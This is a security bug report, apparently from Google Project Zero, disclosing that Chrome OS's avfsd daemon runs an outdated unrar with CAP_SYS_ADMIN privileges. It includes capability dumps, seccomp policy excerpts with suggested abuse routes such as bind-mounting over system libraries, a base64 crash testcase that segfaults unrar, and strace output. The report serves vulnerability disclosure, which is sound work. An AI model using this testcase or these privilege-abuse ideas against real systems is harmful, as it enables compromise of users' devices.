Chrome OS runs ancient unrar in CAP_SYS_ADMIN context Tested on: "Version 69.0.3473.0 (Official Build) dev (64-bit)" "10820.0.0 (Official Build) dev-channel eve" The Chrome OS "Files" application supports opening RAR files. When you open a RAR archive, the archive's contents are accessed through the FUSE daemon avfsd. This daemon runs with the following privileges: ============================= chronos@localhost / $ cat /proc/8641/status Name: avfsd [...] Pid: 8641 [...] Uid: 301 301 301 301 Gid: 1001 1001 1001 1001 FDSize: 64 Groups: [...] CapInh: 00000000002000c1 CapPrm: 00000000002000c1 CapEff: 00000000002000c1 CapBnd: 00000000002000c1 CapAmb: 00000000002000c1 NoNewPrivs: 1 Seccomp: 2 [...] chronos@localhost / $ sudo ls -l /proc/8641/ns total 0 lrwxrwxrwx. 1 root root 0 Jul 20 21:34 cgroup -> 'cgroup:[4026531835]' lrwxrwxrwx. 1 root root 0 Jul 20 21:34 ipc -> 'ipc:[4026532589]' lrwxrwxrwx. 1 root root 0 Jul 20 21:34 mnt -> 'mnt:[4026531840]' lrwxrwxrwx. 1 root root 0 Jul 20 21:34 net -> 'net:[4026531960]' lrwxrwxrwx. 1 root root 0 Jul 20 21:34 pid -> 'pid:[4026531836]' lrwxrwxrwx. 1 root root 0 Jul 20 21:34 user -> 'user:[4026531837]' lrwxrwxrwx. 1 root root 0 Jul 20 21:34 uts -> 'uts:[4026531838]' chronos@localhost / $ sudo ls -l /proc/1/ns total 0 lrwxrwxrwx. 1 root root 0 Jul 20 21:35 cgroup -> 'cgroup:[4026531835]' lrwxrwxrwx. 1 root root 0 Jul 20 21:35 ipc -> 'ipc:[4026531839]' lrwxrwxrwx. 1 root root 0 Jul 20 21:35 mnt -> 'mnt:[4026531840]' lrwxrwxrwx. 1 root root 0 Jul 20 20:35 net -> 'net:[4026531960]' lrwxrwxrwx. 1 root root 0 Jul 20 21:35 pid -> 'pid:[4026531836]' lrwxrwxrwx. 1 root root 0 Jul 20 21:35 user -> 'user:[4026531837]' lrwxrwxrwx. 1 root root 0 Jul 20 21:35 uts -> 'uts:[4026531838]' ============================= So, it's running in the init user namespace, and it has the capability set 0x2000c1, which means: $ capsh --decode=2000c1 0x00000000002000c1=cap_chown,cap_setgid,cap_setuid,cap_sys_admin Note that even though the process doesn't have UID 0, it is still highly privileged thanks to its capabilities in the initial user namespace! It is subject to a seccomp policy, but that policy doesn't look particularly strict: https://chromium.googlesource.com/chromiumos/platform2/+/master/cros-disks/avfsd-seccomp-x86.policy Some interesting snippets from that policy: read/write access to any files to which you have access: read: 1 write: 1 # TODO(benchan): Prohibit or restrict write access. # Investigate if open('/dev/fuse', O_RDWR) can be avoided. open: 1 ability to mount filesystems (should be usable to e.g. bind-mount arbitrary directories over important system libraries): mount: 1 ability to override process credentials (especially useful in combination with the ability to open/read/write): setfsuid32: 1 setfsgid32: 1 setgroups32: 1 setresgid32: 1 setresuid32: 1 To confirm that the version of "unrar" that Chrome OS ships is outdated and contains publicly known vulnerabilities (testcase from https://bugs.chromium.org/p/project-zero/issues/detail?id=1286): ============================= chronos@localhost /home/chronos/u-98f63bfacd7086c303788fb107ff099ff85f3202/tmp $ which unrar /usr/bin/unrar chronos@localhost /home/chronos/u-98f63bfacd7086c303788fb107ff099ff85f3202/tmp $ unrar | head -n2 UNRAR 4.20 freeware Copyright (c) 1993-2012 Alexander Roshal chronos@localhost /home/chronos/u-98f63bfacd7086c303788fb107ff099ff85f3202/tmp $ cat > repro.b64 UmFyIRoHAPlOcwAADgAAAAAAAAAAMAh0AAAmAI4AAAAAAAAAAhBBUiEAAAAAHQAGAAAAACBzdGRv dXQgIVUMzRDNmBGByDAda+AXaSv4KvQr1K/oejL05mXmXmww5tEk8gA9k8nmieyeyeswuOR6cx69 a2Hd6zQwu3aoMDDwMEswADAAMD4P938w+dydoRFwAmwAAAAAvv////+/////+9W3QFgAAQAGAAAA Ooimhd12AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA chronos@localhost /home/chronos/u-98f63bfacd7086c303788fb107ff099ff85f3202/tmp $ base64 -d < repro.b64 > repro.rar chronos@localhost /home/chronos/u-98f63bfacd7086c303788fb107ff099ff85f3202/tmp $ unrar e repro.rar UNRAR 4.20 freeware Copyright (c) 1993-2012 Alexander Roshal Extracting from repro.rar Extracting stdout 81%Segmentation fault (core dumped) chronos@localhost /home/chronos/u-98f63bfacd7086c303788fb107ff099ff85f3202/tmp $ ============================= Note that this testcase doesn't seem to actually be mountable through avfsd because avfsd has its own code for parsing some metadata from RAR files, which rejects this testcase; only when a file needs to actually be extracted, unrar is invoked. To confirm that avfsd actually does invoke unrar without changing privileges, I'm using a statically linked strace from another machine. Here are the syscalls performed by avfsd when I open a file that's stored in some random harmless RAR file: ============================= localhost / # /media/exec/strace -f -p8641 /media/exec/strace: Process 8641 attached with 5 threads [pid 22819] read(3, [pid 18521] read(3, [pid 8979] read(3, [pid 8642] read(3, [pid 8641] futex(0x7ffc34701550, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 0, NULL, 0xffffffff [pid 22819] <... read resumed> [...]..., 135168) = 51 [pid 22819] open("/home/chronos/u-98f63bfacd7086c303788fb107ff099ff85f3202/Downloads/harmless2.rar#urar", O_RDONLY) = -1 ENOENT (No such file or directory) [pid 22819] open("/home/chronos/u-98f63bfacd7086c303788fb107ff099ff85f3202/Downloads/harmless2.rar", O_RDONLY) = 6 [pid 22819] fcntl(6, F_SETFD, FD_CLOEXEC) = 0 [pid 22819] close(6) = 0 [pid 22819] stat("/home/chronos/u-98f63bfacd7086c303788fb107ff099ff85f3202/Downloads/harmless2.rar", {st_mode=S_IFREG|0644, st_size=2505067, ...}) = 0 [pid 22819] writev(3, [...], 2) = 144 [pid 22819] read(3, [pid 18521] <... read resumed> "[...]"..., 135168) = 48 [pid 18521] open("/home/chronos/u-98f63bfacd7086c303788fb107ff099ff85f3202/Downloads/harmless2.rar#urar", O_RDONLY) = -1 ENOENT (No such file or directory) [pid 18521] open("/home/chronos/u-98f63bfacd7086c303788fb107ff099ff85f3202/Downloads/harmless2.rar", O_RDONLY) = 6 [pid 18521] fcntl(6, F_SETFD, FD_CLOEXEC) = 0 [pid 18521] close(6) = 0 [pid 18521] stat("/home/chronos/u-98f63bfacd7086c303788fb107ff099ff85f3202/Downloads/harmless2.rar", {st_mode=S_IFREG|0644, st_size=2505067, ...}) = 0 [pid 18521] writev(3, [{iov_base="[...]", iov_len=16}], 1) = 16 [pid 18521] read(3, [pid 8979] <... read resumed> "[...]"..., 135168) = 48 [pid 8979] open("/home/chronos/u-98f63bfacd7086c303788fb107ff099ff85f3202/Downloads/harmless2.rar#urar", O_RDONLY) = -1 ENOENT (No such file or directory) [pid 8979] open("/home/chronos/u-98f63bfacd7086c303788fb107ff099ff85f3202/Downloads/harmless2.rar", O_RDONLY) = 6 [pid 8979] fcntl(6, F_SETFD, FD_CLOEXEC) = 0 [pid 8979] close(6) = 0 [pid 8979] stat("/home/chronos/u-98f63bfacd7086c303788fb107ff099ff85f3202/Downloads/harmless2.rar", {st_mode=S_IFREG|0644, st_size=2505067, ...}) = 0 [pid 8979] open("/home/chronos/u-98f63bfacd7086c303788fb107ff099ff85f3202/Downloads/harmless2.rar", O_RDONLY) = 6 [pid 8979] fcntl(6, F_SETFD, FD_CLOEXEC) = 0 [pid 8979] mkdir("/tmp/.avfs_tmp_YwPqMv", 0700) = 0 [pid 8979] open("/tmp/.avfs_tmp_YwPqMv/atmp000000", O_RDWR|O_CREAT|O_TRUNC, 0644) = 7 [pid 8979] open("/dev/null", O_RDONLY) = 8 [pid 8979] clone(/media/exec/strace: Process 22926 attached [pid 22926] set_robust_list(0x7f58a37fe9e0, 24 [pid 8979] <... clone resumed> child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f58a37fe9d0) = 22926 [pid 22926] <... set_robust_list resumed> ) = 0 [pid 22926] setsid( [pid 8979] close(8 [pid 22926] <... setsid resumed> ) = 22926 [pid 8979] <... close resumed> ) = 0 [pid 22926] dup2(8, 0 [pid 8979] wait4(22926, [pid 22926] <... dup2 resumed> ) = 0 [pid 22926] dup2(7, 1) = 1 [pid 22926] dup2(8, 2) = 2 [pid 22926] execve("/usr/bin/rar", ["rar", "p", "-c-", "-ierr", "/home/chronos/u-98f63bfacd7086c3"..., "test.blend"], 0x7ffc34701740 /* 16 vars */) = -1 ENOENT (No such file or directory) [pid 22926] execve("/usr/sbin/rar", ["rar", "p", "-c-", "-ierr", "/home/chronos/u-98f63bfacd7086c3"..., "test.blend"], 0x7ffc34701740 /* 16 vars */) = -1 ENOENT (No such file or directory) [pid 22926] execve("/sbin/rar", ["rar", "p", "-c-", "-ierr", "/home/chronos/u-98f63bfacd7086c3"..., "test.blend"], 0x7ffc34701740 /* 16 vars */) = -1 ENOENT (No such file or directory) [pid 22926] execve("/bin/rar", ["rar", "p", "-c-", "-ierr", "/home/chronos/u-98f63bfacd7086c3"..., "test.blend"], 0x7ffc34701740 /* 16 vars */) = -1 ENOENT (No such file or directory) [pid 22926] execve("/usr/local/sbin/rar", ["rar", "p", "-c-", "-ierr", "/home/chronos/u-98f63bfacd7086c3"..., "test.blend"], 0x7ffc34701740 /* 16 vars */) = -1 ENOENT (No such file or directory) [pid 22926] execve("/usr/local/bin/rar", ["rar", "p", "-c-", "-ierr", "/home/chronos/u-98f63bfacd7086c3"..., "test.blend"], 0x7ffc34701740 /* 16 vars */) = -1 ENOENT (No such file or directory) [pid 22926] write(5, "07/20 22:29:22 avfs[22926]: Fail"..., 47) = 47 [pid 22926] exit_group(1) = ? [pid 22926] +++ exited with 1 +++ [pid 8979] <... wait4 resumed> [{WIFEXITED(s) && WEXITSTATUS(s) == 1}], 0, NULL) = 22926 [pid 8979] write(5, "07/20 22:29:22 avfs[8641]: progr"..., 60) = 60 [pid 8979] open("/dev/null", O_RDONLY) = 8 [pid 8979] clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f58a37fe9d0) = 22927 /media/exec/strace: Process 22927 attached [pid 8979] close(8) = 0 [pid 8979] wait4(22927, [pid 22927] set_robust_list(0x7f58a37fe9e0, 24) = 0 [pid 22927] setsid() = 22927 [pid 22927] dup2(8, 0) = 0 [pid 22927] dup2(7, 1) = 1 [pid 22927] dup2(8, 2) = 2 [pid 22927] execve("/usr/bin/unrar", ["unrar", "p", "-c-", "-ierr", "/home/chronos/u-98f63bfacd7086c3"..., "test.blend"], 0x7ffc34701740 /* 16 vars */) = 0 [...] ============================= This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Found by: jannh